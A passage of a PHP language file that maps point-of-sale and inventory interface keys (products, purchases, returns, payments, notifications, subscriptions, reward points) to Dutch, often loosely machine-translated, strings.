meeste printer werkt op poort 9100', 'combination_of_taxes' => 'Combinatie van meerdere belastingen', 'product_purchase_report' => 'Product Purchase Report', 'unit_perchase_price' => 'Aankoopprijs eenheid', 'search_product' => 'Zoek product', 'product_sell_report' => 'Product Sell Report', 'unit_sale_price' => 'Verkoopprijs per eenheid', 'contact_id' => 'Contact ID', 'category_code_help' => 'Categoriecode is hetzelfde als <b> HSN-code </b>', 'sub_heading_line' => 'Sub Heading Line :_number_', 'date_label' => 'Datumlabel', 'client_id_label' => 'Client ID-label', 'product_label' => 'Etiket', 'qty_label' => 'Hoeveelheidslabel', 'unit_price_label' => 'Eenheidsprijslabel', 'subtotal_label' => 'Subtotaallabel', 'product_details_to_be_shown' => 'Productdetails worden getoond', 'show_brand' => 'Toon merk', 'show_sku' => 'Show SKU', 'show_cat_code' => 'Toon categoriecode', 'show_client_id' => 'Toon klant-ID', 'show_time_with_date' => 'Toon tijd met datum', 'show_sale_description' => 'Verkoopbeschrijving tonen', 'product_imei_or_sn' => '(Product IMEI of serienummer)', 'purchase_already_exist' => 'Product kan niet worden verwijderd omdat aankopen met betrekking tot dit product bestaan', 'opening_stock_sold' => 'Product kan niet worden verwijderd omdat sommige aandelen worden verkocht', 'stock_adjusted' => 'Product kan niet worden verwijderd omdat sommige aandelen zijn aangepast', 'product_delete_success' => 'Product is succesvol verwijderd', 'manage_products' => 'Beheer uw producten', 'all_products' => 'Alle producten', 'login' => 'Log in', 'register' => 'Registreren', 'username' => 'Username', 'password' => 'Wachtwoord', 'remember_me' => 'Onthoud me', 'forgot_your_password' => 'Je wachtwoord vergeten?', 'reset_password' => 'Reset wachtwoord', 'email_address' => 'E-mailadres', 'send_password_reset_link' => 'Stuur wachtwoord reset koppeling', 'instructions' => 'Instructies', 'instruction_line1' => 'Volg de instructies zorgvuldig voordat u het bestand importeert.', 'instruction_line2' => 'De kolommen van het CSV-bestand moeten in de volgende volgorde staan.', 'col_no' => 'Kolomnummer', 'col_name' => 'Kolomnaam', 'instruction' => 'Instructie', 'required' => 'Verplicht', 'optional' => 'Optioneel', 'name_ins' => 'Naam van het product', 'brand_ins' => 'Naam van het merk', 'brand_ins2' => 'Als er geen nieuw merk met de opgegeven naam wordt aangemaakt', 'unit_ins' => 'Naam van de eenheid', 'category_ins' => 'Naam van de categorie', 'category_ins2' => 'Indien niet gevonden zal een nieuwe categorie met de gegeven naam worden aangemaakt', 'sub_category_ins' => 'Naam van de subcategorie', 'sub_category_ins2' => 'Indien niet gevonden, wordt een nieuwe subcategorie met de opgegeven naam onder de oudercategorie aangemaakt', 'sku_ins' => 'Product-SKU. Indien leeg, wordt automatisch een SKU gegenereerd', 'barcode_type_ins' => 'Barcodetype voor het product.', 'barcode_type_ins2' => 'Momenteel ondersteund', 'default' => 'Standaard', 'manage_stock_ins' => 'Voorraadbeheer inschakelen of uitschakelen', 'alert_qty_ins' => 'Vereist als voorraad beheren 1 is', 'expires_in_ins' => 'Vervaldatum product (alleen in cijfers)', 'expire_period_unit' => 'Expiry Period Unit', 'available_options' => 'Beschikbare opties', 'expire_period_unit_ins' => 'Eenheid voor de vervalperiode', 'applicable_tax_ins' => 'Naam van de belastingtarief', 'variation_name_ins' => 'Vereist als producttype variabel is', 'variation_name_ins2' => 'Naam van de variatie (bijv .: grootte, kleur enz.)', 'variation_values_ins' => 'Vereist als producttype variabel is', 'variation_values_ins2' => "Waarden voor de variatie gescheiden door '|' <br> (Ex: Red | Blue | Green) ", 'purchase_price_inc_tax' => 'Aankoopprijs (inclusief btw)', 'purchase_price_inc_tax_ins1' => 'Vereist indien geen aankoopprijs exclusief BTW wordt gegeven', 'purchase_price_inc_tax_ins2' => "Aankoopprijs (inclusief btw) (alleen in cijfers) <br> <br> Voor variabele producten '|' gescheiden waarden met <br> dezelfde volgorde als variatiewaarden <br> (Ex: 84 | 85 | 88) ", 'purchase_price_exc_tax' => 'Aankoopprijs (Exclusief belasting)', 'purchase_price_exc_tax_ins1' => 'Vereist als aankoopprijs inclusief BTW niet wordt gegeven', 'purchase_price_exc_tax_ins2' => "Aankoopprijs (Exclusief belasting) (alleen in cijfers) <br> <br> Voor variabele producten '|' gescheiden waarden met <br> dezelfde volgorde als variatiewaarden <br> (Ex: 84 | 85 | 88) ", 'profit_margin_ins' => 'Winstmarge (alleen in cijfers)', 'profit_margin_ins1' => 'Als er een lege standaard winstmarge voor de onderneming wordt gebruikt', 'selling_price' => 'Verkoopprijs', 'selling_price_ins' => 'Verkoopprijs (alleen in cijfers)', 'selling_price_ins1' => 'Als de blanco verkoopprijs wordt berekend met de gegeven aankoopprijs en de toepasselijke belasting', 'opening_stock' => 'Openingsvoorraad', 'opening_stock_ins' => 'Openingsvoorraad (alleen in cijfers)', 'only_applicable_to_single_product' => 'Alleen van toepassing op één product', 'purchase_delete_success' => 'Aankoop succesvol verwijderd', 'location_ins' => 'Als lege eerste bedrijfslocatie wordt gebruikt', 'location_ins1' => 'Naam van de bedrijfslocatie', 'expiry_date' => 'Vervaldatum', 'expiry_date_ins' => 'Voorraad Vervaldatum <br><b>Format: mm-dd-yyyy; Ex: 11-25-2018</b>', 'enable_lot_number' => 'Lotnummer inschakelen', 'tooltip_enable_lot_number' => 'Hiermee kunt u het lotnummer invoeren voor elke inkoopregel in het inkoopscherm', 'lot_number' => 'Lotnummer', 'enable_racks' => 'Rekken inschakelen', 'tooltip_enable_racks' => 'Schakel dit in om rackgegevens van een product voor verschillende bedrijfslocaties toe te voegen terwijl u producten toevoegt', 'rack_details' => 'Rackdetails', 'tooltip_rack_details' => 'Voer details in van waar het product in de winkel wordt bewaard voor verschillende bedrijfslocaties.', 'updated_success' => 'succesvol geupdatet', 'added_success' => 'Met succes toegevoegd', 'deleted_success' => 'Met succes verwijderd', 'enable_disable_modules' => 'Modules inschakelen / uitschakelen', 'opening_stock_help_text' => "<br><br>Voor variabele producten afzonderlijke voorraadhoeveelheden scheiden met '|'<br>(Ex: 100|150|200)", 'applicable_tax_help' => '<br><br/>Als aankoopprijs (exclusief belasting) niet hetzelfde is als <br/>Aankoopprijs (inclusief btw) <br/>dan moet u de naam van het belastingtarief opgeven.', 'sale_delete_success' => 'Verkoop is succesvol verwijderd', 'click_to_edit' => 'Klik om te bewerken', 'click_to_delete' => 'Klik om te verwijderen', 'quotation_heading' => 'Offerte Heading', 'quotation' => 'Citaat', 'quotation_no_prefix' => 'Citaat nr. etiket', 'tooltip_quotation_heading' => 'Offerte of schattingen worden gebruikt bij het verstrekken van offertes aan klanten.', 'quotation_added' => 'Offerte succesvol toegevoegd', 'quotation_updated' => 'Offerte succesvol bijgewerkt', 'product_sold_details_register' => 'Details van verkochte producten', 'grand_total' => 'Eindtotaal', 'change_return' => 'Verander Terug', 'date_format' => 'Datumnotatie', 'time_format' => 'Tijd formaat', '12_hour' => '12 uur', '24_hour' => '24 uur', 'list_quotations' => 'Lijstoffertes', 'list_drafts' => 'Lijstconcepten', 'you_cannot_delete_this_contact' => 'Kan het contact niet verwijderen - Er bestaan al transacties voor het contact.', 'enable_row' => 'Rij inschakelen', 'enable_position' => 'Positie inschakelen', 'rack' => 'Rek', 'row' => 'Rij', 'position' => 'Positie', 'weight' => 'Gewicht', 'rack_help_text' => "Rackdetails gescheiden door '|' voor verschillende bedrijfslocaties in serie. <br/> (Ex: R1 | R5 | R12) ", 'row_help_text' => "Rijdetails gescheiden door '|' voor verschillende bedrijfslocaties in serie. <br/> (Ex: ROW1 | ROW2 | ROW3) ", 'position_help_text' => "Positiegegevens gescheiden door '|' voor verschillende bedrijfslocaties in serie. <br/> (bijv .: POS1 | POS2 | POS3) ", 'import_opening_stock' => 'Openingsvoorraad importeren', 'tooltip_import_opening_stock' => 'Deze functie wordt gebruikt om de openingsvoorraad van reeds toegevoegde producten te importeren.Als de producten niet in het systeem zijn toegevoegd, is het raadzaam om importproducten te gebruiken om productgegevens toe te voegen aan de openingsvoorraad.', 'design' => 'Ontwerp', 'express_checkout_cash' => 'Contant geld', 'express_checkout_card' => 'Kaart', 'checkout_multi_pay' => 'Meervoudig betalen', 'tooltip_checkout_multi_pay' => 'Afrekenen met meerdere betaalmethoden', 'tooltip_express_checkout_card' => 'Express check-out met kaart', 'card_transaction_details' => 'Kaarttransactiegegevens', 'client_tax_label' => 'Nummerlabel klantnummer', 'cat_code_label' => 'Categorie- of HSN-codelabel', 'list_sell_return' => 'Lijst Verkoop Rendement', 'sell_return' => 'Verkoop Return', 'layout_credit_note' => 'Credit Note / Sell Return Details', 'cn_heading' => 'Kop', 'cn_no_label' => 'Referentienummer', 'cn_amount_label' => 'Totaalbedrag', 'custom_field' => 'Aangepast veld :number', 'website' => 'Website', 'total_credit_amt' => 'Totaal kredietbedrag', 'unit_sell_price' => 'Verkoopprijs per eenheid', 'prefixes' => 'Prefixes', 'purchase_order' => 'Bestelling', 'stock_transfer' => 'Voorraad overdracht', 'purchase_payment' => 'Aankoopbetaling', 'sell_payment' => 'Verkoop betalen', 'location_id' => 'Locatie-ID', 'add_edit_opening_stock' => 'Openingsvoorraad toevoegen of bewerken', 'expiry_date_will_be_changed_in_pl' => 'Vervaldatum van de inkoopregel zal worden gewijzigd', 'remove_from_stock' => 'Verwijderen uit voorraad', 'stock_removed_successfully' => 'Voorraad succesvol verwijderd', 'product_image' => 'Product afbeelding', 'aspect_ratio_should_be_1_1' => 'Beeldverhouding moet 1: 1 zijn', 'previous_image_will_be_replaced' => 'Eerder geuploade afbeelding zal worden vervangen', 'all_category' => 'Alle categorieën', 'all_brands' => 'Alle merken', 'backup' => 'backup', 'download_complete_backup' => 'Volledige back-up downloaden', 'backup_doesnt_exist' => 'Back-up bestaat niet', 'lot_report' => 'Lot rapport', 'purchase_payment_report' => 'Aankoop betalingsrapport', 'paid_on' => 'Betaald op', 'purchase' => 'Aankoop', 'cheque_no' => 'Check No.', 'card_transaction_no' => 'Kaart transactie nummer', 'bank_account_no' => 'Bankrekening nummer.', 'sell_payment_report' => 'Betaalrapport verkopen', 'restaurant' => 'Restaurant', 'user_type' => 'Gebruikerstype', 'product_custom_field1' => 'Aangepast veld1', 'product_custom_field2' => 'Aangepast veld2', 'product_custom_field3' => 'Aangepast veld3', 'product_custom_field4' => 'Aangepast Field4', 'image' => 'Beeld', 'image_help_text' => 'Afbeeldingnaam met extensie.<br/> (De afbeeldingsnaam moet worden geüpload naar het pad van de server: )', 'tooltip_kitchen' => 'Dit is het keukenscherm. Hier kunnen bestelgegevens worden bekeken en bestellingen kunnen als gaar worden gemarkeerd.', 'tooltip_serviceorder' => 'Dit is het scherm Service Staff. Servicemedewerkers kunnen dit scherm gebruiken om alle bestellingen voor hen te bekijken en de volgorde te markeren zoals ze worden geserveerd.', 'sales_person_label' => 'Verkooppersoonlabel', 'show_sales_person' => 'Toon verkoper', 'decimal_value_not_allowed' => 'Decimale waarde niet toegestaan', 'theme_color' => 'Thema kleur', 'quantity_error_msg_in_lot' => 'Enkel en alleen :qty :eenheid beschikbaar in de geselecteerde partij', 'show_product_expiry' => 'Product vervaldatum weergeven', 'show_lot_number' => 'Lotnummer weergeven', 'expiry' => 'verstrijken', 'lot' => 'lot', 'lot_n_expiry' => 'Lot & Vervaldatum', 'pos_edit_product_price_help' => 'Bewerk product Eenheidsprijs en BTW', 'name' => 'Naam', 'payment_type' => 'Betalingswijze', 'manage_payment_account' => 'Manage Your Payment Account', 'all_payments' => 'Alle betalingen', 'payment_note' => 'Betalingsbewijs', 'payment_account_deleted_success' => 'Betaalrekening succesvol verwijderd', 'payment_account_updated_success' => 'Betaalrekening succesvol geüpdatet', 'payment_gateway' => 'Online betalingsgateway', 'payment_account_success' => 'Betaalrekening succesvol toegevoegd', 'payment_account' => 'Betaalrekening', 'tooltip_sell_product_column' => 'Klik <i>productnaam</i> </i> to edit price, discount & tax. <br/>Klik <i>Commentaarpictogram</i> om een serienummer / IMEI of extra notitie in te voeren.<br/><br/>Klik <i>wijziger Icoon</i>(indien ingeschakeld) voor modifiers', 'credit_limit' => 'Kredietlimiet', 'credit_limit_help' => 'Blijf leeg voor geen limiet', 'cutomer_credit_limit_exeeded' => 'Kredietlimiet klant overschreden <br>:credit_limit', 'custom_payment_1' => 'Aangepaste betaling 1', 'custom_payment_2' => 'Aangepaste betaling 2', 'custom_payment_3' => 'Aangepaste betaling 3', 'transaction_no' => 'Transactienummer', 'file' => 'Het dossier', 'size' => 'Grootte', 'date' => 'Datum', 'age' => 'Leeftijd', 'create_new_backup' => 'Maak een nieuwe back-up', 'all_sales' => 'Alle verkopen', 'opening_balance' => 'Beginsaldo', 'opening_balance_due' => 'Openingsaldo verschuldigd', 'import_contacts' => 'Contactpersonen importeren', 'contact_type_ins' => '<strong> Beschikbare opties: klant, leverancier en beide </strong>', 'contact_id_ins' => 'Laat leeg om automatisch Contact ID te genereren', 'required_if_supplier' => 'Vereist als contacttype leverancier of beide is', 'pay_term_period_ins' => 'Beschikbare opties: dagen en maanden', 'your_username_will_be' => 'Uw gebruikersnaam zal zijn', 'currency_exchange_rate' => 'Wisselkoers', 'select_all' => 'Selecteer alles', 'deselect_all' => 'Deselecteer alles', 'duplicate_product' => 'Duplicaat product', 'delete_selected' => 'Verwijder geselecteerde', 'no_row_selected' => 'Geen rij geselecteerd', 'duplicate_sell' => 'Dubbele verkoop', 'duplicate_sell_created_successfully' => 'Dubbele verkoop succesvol aangemaakt', 'modules' => 'Modules', 'theme' => 'Thema', 'account' => 'Account', 'expense_payment' => 'Uitgavenbetaling', 'expense' => 'Kosten', 'disabled_in_demo' => 'Functie uitgeschakeld in demo !!', 'selling_price_group' => 'Verkoopprijsgroep', 'all_selling_price_group' => 'Alle verkoopprijsgroep', 'add_selling_price_group' => 'Verkoopprijsgroep toevoegen', 'edit_selling_price_group' => 'Bewerk verkoopprijsgroep', 'access_selling_price_groups' => 'Toegang tot verkoopprijsgroepen', 'save_n_add_selling_price_group_prices' => 'Bewaar en voeg verkoopprijs / groepsprijzen toe', 'add_selling_price_group_prices' => 'Groepsprijzen toevoegen of bewerken', 'default_selling_price_inc_tax' => 'Default verkoopprijs (Inc. Belasting)', 'variation' => 'Variatie', 'price_group' => 'Prijsgroep', 'group_price' => 'Groepsprijs', 'default_selling_price' => 'Standaard verkoopprijs', 'price_group_help_text' => 'Verkoopprijsgroep waarin u wilt verkopen', 'group_prices' => 'Groepsprijzen', 'view_group_prices' => 'Groepsprijzen bekijken', 'save_n_add_another' => 'Opslaan en nog een toevoegen', 'update_n_add_another' => 'Update en voeg een andere toe', 'subtotal_editable' => 'Subtotaal bewerkbaar', 'subtotal_editable_help_text' => 'Vink dit aan om het Subtotaalveld bewerkbaar te maken voor elk product in POS-scherm', 'notification_templates' => 'Notification Templates', 'new_sale' => 'Nieuwe verkoop', 'payment_reminder' => 'Betalingsherinnering', 'payment_received' => 'Betaling ontvangen', 'new_booking' => 'Nieuwe boeking', 'new_order' => 'Nieuwe opdracht', 'payment_paid' => 'Betaald Betalen', 'items_received' => 'Items ontvangen', 'items_pending' => 'Items in behandeling', 'customer_notifications' => 'Klantmeldingen', 'supplier_notifications' => 'Leveranciersmeldingen', 'email_subject' => 'E-mail onderwerp', 'email_body' => 'Email Body', 'sms_body' => 'SMS Body', 'available_tags' => 'Beschikbare tags', 'send_notification' => 'Verstuur bericht', 'new_sale_notification' => 'Nieuw verkoopbericht', 'send_email_only' => 'Alleen e-mail verzenden', 'send_sms_only' => 'Alleen SMS verzenden', 'send_both_email_n_sms' => 'Stuur zowel e-mail en sms', 'to' => 'Naar', 'mobile_number' => 'Mobiel nummer', 'send' => 'Sturen', 'notification_sent_successfully' => 'Kennisgeving succesvol verzonden', 'payment_received_notification' => 'Betaling ontvangen bericht verzenden', 'send_payment_reminder' => 'Send Payment Remider', 'new_order_notification' => 'New Order Notification', 'item_received_notification' => 'Items ontvangen kennisgeving', 'item_pending_notification' => 'Items in afwachting van melding', 'payment_paid_notification' => 'Betaling Betaalde kennisgeving', 'mail_host' => 'Gastheer', 'mail_port' => 'Haven', 'mail_username' => 'Username', 'mail_password' => 'Wachtwoord', 'mail_encryption' => 'Codering', 'mail_from_address' => 'Van adres', 'mail_from_name' => 'Van naam', 'mail_encryption_place' => 'tls / ssl', 'email_settings' => 'Email instellingen', 'sms_settings' => 'SMS-instellingen', 'send_to_param_name' => 'Verzenden naar parameternaam', 'msg_param_name' => 'Bericht parameternaam', 'sms_settings_param_key' => 'Parameter: cijfertoets', 'sms_settings_param_val' => 'Parameter: getalwaarde', 'sending' => 'Bezig met verzenden', 'request_method' => 'Verzoekmethode', 'purchase_return' => 'Aankoop Return', 'return_quantity' => 'Retourhoeveelheid', 'return_subtotal' => 'Subtotaal retourneren', 'quantity_left' => 'Hoeveelheid over', 'return_total' => 'Return Total', 'total_return_tax' => 'Total Return Tax', 'purchase_return_added_success' => 'Aankoop rendement succesvol toegevoegd', 'list_purchase_return' => 'List Purchase Return', 'all_purchase_returns' => 'Alle inkoopretouren', 'parent_purchase' => 'Parent Purchase', 'purchase_return_details' => 'Inkoopretourgegevens', 'return_date' => 'Retourdatum', 'parent_sale' => 'Ouderuitverkoop', 'sell_quantity' => 'Verkoop hoeveelheid', 'total_return_discount' => 'Total Return Discount', 'sell_return_details' => 'Verkoop details retour', 'sell_details' => 'Verkoopgegevens', 'return_discount' => 'Return Discount', 'total_unit_transfered' => 'Total Unit Transfered', 'total_unit_adjusted' => 'Totaal aantal eenheden aangepast', 'return_exist' => 'Terugkeer bestaat voor de transactie, bewerk in plaats daarvan het rendement.', 'synced_from_woocommerce' => 'Gesynchroniseerd van Woocommerce', 'available_stock_expired' => 'OF beschikbare voorraad is verlopen.', 'sell_payments' => 'Toestemming voor toevoegen / bewerken / verwijderen van betalingen in lijst Verkoopt / toont POS-scherm.', 'purchase_payments' => 'Toestemming voor toevoegen / bewerken / verwijderen van betalingen in lijstaankopen.', 'sell.payments' => 'Betalingen toevoegen / bewerken / verwijderen', 'purchase.payments' => 'Betalingen toevoegen / bewerken / verwijderen', 'view_payment' => 'Bekijk betaling', 'card_number' => 'Kaartnummer', 'transaction_number' => 'Transactie nummer', 'card_holder_name' => 'Naam pashouder', 'card_transaction_number' => 'Kaarttransactie Nee', 'cheque_number' => 'Controleer nummer', 'commsn_percent_help' => 'Wordt alleen gebruikt als de instelling Sales Agent-agenttype is: aangemelde gebruiker of Selecteer uit gebruikerslijst', 'max_amount_to_be_paid_is' => 'Het maximaal te betalen bedrag is: bedrag', 'adjusted_for' => 'Aangepast voor', 'some_qty_returned' => 'Sommige hoeveelheden worden geretourneerd van deze aankoop', 'total_purchase_return' => 'Total Purchase Return', 'total_purchase_return_paid' => 'Total Purchase Return Paid', 'total_purchase_return_inc_tax' => 'Totaal aankoopbedrag inclusief belasting', 'purchase_sell_report_formula' => 'Overall (Sale - Sale Return - Purchase - Purchase Return)', 'purchase_return_due' => 'Purchase Return Due', 'total_purchase_return_due' => 'Total Purchase Return Due', 'receive_purchase_return_due' => 'Ontvangstteruggave ontvangen', 'some_qty_returned_from_sell' => 'Sommige hoeveelheden worden geretourneerd uit deze verkoop', 'sell_due' => 'Due verkopen', 'sell_return_due' => 'Retourbetaling verkopen', 'total_sell_return_due' => 'Total Sell Return Due', 'pay_sell_return_due' => 'Pay Sell Return Due', 'total_sell_return' => 'Total Sell Return', 'total_sell_return_paid' => 'Total Sell Return Paid', 'total_sell_return_inc_tax' => 'Total Sell Return Inclusive Tax', 'tooltip_columnize_taxes_heading' => 'Voer de belastingnaam in voor de kopjes, de kop moet in de belastingnaam voorkomen, bijvoorbeeld koppen kunnen zijn: CGST, SGST, IGST & CESS. Voor belastingnamen CGST@8% of CGST@10%; SGST@10% of SGST@8% enz', 'sales_payment_dues' => 'Te betalen verkoopbetaling', 'purchase_payment_dues' => 'Aankoopvergoeding verschuldigd', 'tooltip_sales_payment_dues' => "In afwachting van betaling voor verkopen. <br/> <small class = 'sms-gedempt'> Gebaseerd op factuurbetalingsperiode. <br/> Betalingen moeten worden weergegeven binnen 7 dagen of minder. </small>", 'edit_product_price_from_sale_screen' => 'Bewerk productprijs van verkoop / POS-scherm', 'edit_product_discount_from_sale_screen' => 'Bewerk productkorting van Sale / POS-scherm', 'autosend_email' => 'Automatisch e-mail verzenden', 'autosend_sms' => 'Automatisch SMS verzenden', 'enable_selected_contacts' => 'Geselecteerde contacten beperken', 'tooltip_enable_selected_contacts' => 'Beperk de toegang tot geselecteerde contactpersonen in het zoek / verkoopvak klant / leverancier', 'selected_contacts' => 'Selecteer contactpersonen', 'view_role' => 'Bekijk rol', 'delete_role' => 'Verwijder rol', 'mail_driver' => 'Mail Driver', 'disable_suspend_sale' => 'Schakel onderbreking uit', 'suspend' => 'Opschorten', 'suspend_note' => 'Notitie opschorten', 'suspend_sale' => 'Verkoop opschorten', 'view_suspended_sales' => 'Bekijk gesloopte verkopen', 'suspended_sales' => 'Opgeschorte omzet', 'tooltip_suspend' => 'Verkoop opschorten (pauze)', 'business_telephone' => 'Bedrijfscontactnummer', 'accept_terms_and_conditions' => 'Algemene voorwaarden accepteren', 'terms_conditions' => 'Algemene voorwaarden', 'product_description' => 'Productomschrijving', 'click_here' => 'Klik hier', 'for_more_info' => 'voor meer informatie', 'username_help' => 'Leeg laten om automatisch gebruikersnaam te genereren', 'status_for_user' => 'Is actief ?', 'tooltip_enable_user_active' => 'Schakel het selectievakje in of uit om een gebruiker actief / inactief te maken.', 'user_inactive' => 'Sorry, account is inactief', 'calculator' => 'Rekenmachine', 'fields_for_customer_details' => 'Velden voor klantgegevens', 'show_previous_bal_due' => 'Toon totaal saldo (alle verkopen)', 'previous_bal_due_help' => 'Vink dit veld aan om de som van de verschuldigde bedragen weer te geven voor alle verkopen van de klant, indien aanwezig', 'all_sales' => 'Alle verkopen', 'current_sale' => 'Huidige verkoop', 'view_invoice_url' => 'View Invoice URL', 'copy' => 'Kopiëren', 'extra_tags' => 'Extra tags', 'date_time_format' => 'Datum tijdnotatie', 'all' => 'Allemaal', 'date_time_format_help' => "Voer datum- en tijdnotatie in <a target='_blank' href='http://php.net/manual/en/function.date.php'>PHP datetime-indeling</a>. Als de datumnotatie voor lege bedrijfsdatums wordt toegepast", 'detailed' => 'Gedetailleerd', 'grouped' => 'Gegroepeerd (Op Datum)', 'disable_recurring_invoice' => 'Recurring Factuur uitschakelen', 'is_recurring' => 'Is terugkerend', 'recurring_invoice_help' => 'Indien ingeschreven, wordt deze factuur automatisch gegenereerd op regelmatige tijdstippen. <br> U kunt deze functie uitschakelen in <code> Instellingen > Bedrijfsinstellingen> Modules </code>', 'recurring_invoice' => 'Terugkerende factuur', 'years' => 'Jaren', 'no_of_repetitions' => 'Aantal herhalingen', 'recur_repetition_help' => 'Als een lege factuur oneindige tijden zal worden gegenereerd', 'recurring_invoice_message' => 'Nieuwe factuur gegenereerd voor abonnementsnummer: <i>:subscription_no</i>, Factuurnummer: <i>:invoice_no</i>', 'notifcation_count_msg' => 'U hebt :count telmeldingen', 'no_notifications_found' => 'Geen meldingen gevonden', 'edit_multi_unit_help_text' => 'Het bewerken van deze waarde zal de inkoop- en verkoopstanden dienovereenkomstig wijzigen', 'sale_price_is_minimum_sale_price' => 'Verkoopprijs is minimale verkoopprijs', 'minimum_sale_price_help' => 'Als dit is ingeschakeld, is op het POS- of verkoopscherm de standaardverkoopprijs de minimumverkoopprijs voor het product.U kunt de prijs niet onder de standaardverkoopprijs instellen.', 'minimum_selling_price_error_msg' => 'Minimale verkoopprijs is :price', 'lot_numbers_are_used_in_sale' => 'Kan niet worden verwijderd, sommige loten van deze aankoop zijn al verkocht', 'created_at' => 'Gemaakt bij', 'download' => 'Download', 'previous_file_will_be_replaced' => 'Eerder geupload bestand zal worden vervangen', 'access_accounts' => 'Toegang tot accounts', 'payment_accounts' => 'Betaalrekeningen', 'total_shipping_charges' => 'Totaal verzendkosten', 'recurring_invoice_error_message' => 'Kan geen factuur maken voor abonnementsnummer: <i>:subscription_no</i>. Vereiste voorraad niet beschikbaar voor product <i>:product_name</i>', 'load_more' => 'Meer laden', 'cash_flow' => 'Geldstroom', 'subscribe' => 'Abonneren', 'subscription_interval' => 'Abonnementsinterval', 'enable_subscription' => 'Abonnement inschakelen', 'subscription_no' => 'Abonnementsnummer', 'start_subscription' => 'Begin abonnement', 'stop_subscription' => 'Stop abonnement', 'subscriptions' => 'Abonnementen', 'generated_invoices' => 'Gegenereerde facturen', 'last_generated' => 'Laatst gegenereerd', 'upcoming_invoice' => 'Aanstaande factuur', 'total_sales_return' => 'Total Sales Return', 'subscription_invoice' => 'Abonnementsfactuur', 'subscribed_invoice' => 'Onderschreven factuur', 'view_document' => 'Document bekijken', 'invoice_url_help' => 'Link om de factuur te bekijken zonder in te loggen.', 'unit_cannot_be_deleted' => 'Producten bestaan met dit apparaat; Kan niet worden verwijderd', 'expiry_date_in_business_date_format' => 'Einddatum van de voorraad in <b> Bedrijfsdatum formaat </b>', 'product_stock_details' => 'Product Stock Details', 'search' => 'Zoeken', 'total_sold' => 'Totaal verkocht', 'total_stock_available' => 'Totale voorraad beschikbaar', 'total_stock_transfered_to_the_location' => 'Totale voorraad overgedragen aan de locatie', 'total_stock_transfered_from_the_location' => 'Totale voorraad overgedragen van de locatie', 'total_stock_calculated' => 'Totale voorraad berekend', 'adjust_stock_mismatch' => 'Pas Stock Mismatch', 'opening_balance_payments' => 'Beginsaldo betalingen', 'enable_service_staff_in_product_line' => 'Schakel servicepersoneel in productlijn in', 'inline_service_staff_tooltip' => 'Indien ingeschakeld, kunnen verschillende servicepersoneels voor verschillende producten worden toegewezen voor een bestelling / verkoop', 'line_orders' => 'Regelorders', 'total_tax' => 'Totale belasting', 'total_discount' => 'Totale korting', 'net_price' => 'Nettoprijs', 'select_same_for_all_rows' => 'Selecteer dezelfde waarde voor alle producten', 'edited' => 'Bewerkt', 'by' => 'Door', 'upload_documents' => 'Upload documenten', 'documents' => 'Documenten', 'click_to_print' => 'Klik om af te drukken', 'deactivated_success' => 'Gedeactiveerd met succes', 'products_could_not_be_deleted' => 'Sommige producten kunnen niet worden verwijderd omdat er transacties aan zijn gerelateerd.', 'price' => 'Prijs', 'auto_backup_instruction' => 'Om automatische back-up en back-up opruimen in te schakelen, moet u een cron-taak instellen met dit commando', 'gross_profit' => 'Brutowinst', 'single' => 'Single', 'variable' => 'Variable', 'total_purchase_price' => 'Totale aankoopprijs', 'total_sell_price' => 'Totale verkoopprijs', 'packing_slip' => 'Pakbon', 'use_superadmin_email_settings' => 'Gebruik systeem e-mailconfiguraties', 'profit_by_products' => 'Winst door producten', 'profit_by_categories' => 'Winst per categorie', 'profit_by_brands' => 'Winst per merk', 'profit_by_locations' => 'Winst per locatie', 'profit_by_invoice' => 'Winst op factuur', 'profit_by_date' => 'Winst op datum', 'uncategorized' => 'Uncategorized', 'add_purchase_return' => 'Retour inkoop toevoegen', 'edit_purchase_return' => 'Aankoopretour bewerken', 'purchase_return_updated_success' => 'Aankoop retour succesvol bijgewerkt', 'profit_by_customer' => 'Winst door klant', 'profit_by_day' => 'Winst per dag', 'sunday' => 'Zondag', 'monday' => 'Maandag', 'tuesday' => 'Dinsdag', 'wednesday' => 'Woensdag', 'thursday' => 'Donderdag', 'friday' => 'Vrijdag', 'saturday' => 'Zaterdag', 'show_product_image' => 'Productafbeelding weergeven', 'view_user' => 'Bekijk gebruiker', 'allow_selected_contacts' => 'Geselecteerde contacten toestaan', 'allow_selected_contacts_tooltip' => 'Sta alleen toegang toe tot geselecteerde contacten in het zoekvak voor verkopen / kopen van klant / leverancier', 'allowed_contacts' => 'Toegestane contacten', 'view_purchase_price' => 'Bekijk aankoopprijs', 'view_purchase_price_tooltip' => 'Toestemming om de aankoopprijs te bekijken in productdetails, voorraadoverdracht en voorraadcorrectie', 'created' => 'Gemaakt', 'updated' => 'Bijgewerkt', 'deleted' => 'Verwijderd', 'day' => 'Dag', 'is_service_staff_required' => 'Is onderhoudspersoneel vereist', 'items_report' => 'Items rapport', 'purchase_price' => 'Aankoopprijs', 'sell_date' => 'Datum verkopen', 'returned' => 'Terug', 'dob' => 'Geboortedatum', 'married' => 'Getrouwd', 'unmarried' => 'Ongehuwd', 'marital_status' => 'Burgerlijke staat', 'blood_group' => 'Bloedgroep', 'divorced' => 'Gescheiden', 'contact_no' => 'Contact nummer', 'fb_link' => 'Facebook-link', 'twitter_link' => 'Twitter-link', 'social_media' => 'Social Media :number', 'permanent_address' => 'Vast Adres', 'current_address' => 'Huidige adres', 'guardian_name' => 'Naam voogd', 'custom_field' => 'Aangepast veld :number', 'bank_details' => 'Bankgegevens', 'account_holder_name' => 'Naam van de rekeninghouder', 'account_number' => 'Rekeningnummer', 'bank_name' => 'Banknaam', 'bank_code' => 'Bankidentificatiecode', 'bank_code_help' => 'Een unieke code om de bank in uw land te identificeren, bijvoorbeeld: IFSC-code', 'branch' => 'Tak', 'tax_payer_id' => 'Belastingaccountnummer', 'tax_payer_id_help' => 'Belastingnummer-ID van de werknemer, bijvoorbeeld PAN-kaart in India', 'more_info' => 'Meer informaties', 'id_proof_name' => 'ID-bestendige naam', 'id_proof_number' => 'ID bewijs nummer', 'view_own_sell_only' => 'Alleen eigen verkopen bekijken', 'reward_point_settings' => 'Beloningspuntinstellingen', 'enable_rp' => 'Beloningspunt inschakelen', 'rp_name' => 'Weergavepunt beloningspunt', 'amount_for_unit_rp' => 'Bestedingsbedrag voor eenheidspunt', 'min_order_total_for_rp' => 'Minimaal besteltotaal om beloning te verdienen', 'max_rp_per_order' => 'Maximum aantal punten per bestelling', 'earning_points_setting' => 'Punten verdienen instellingen', 'redeem_points_setting' => 'Punteninstellingen inwisselen', 'redeem_amount_per_unit_rp' => 'Inwisselen bedrag per eenheidspunt', 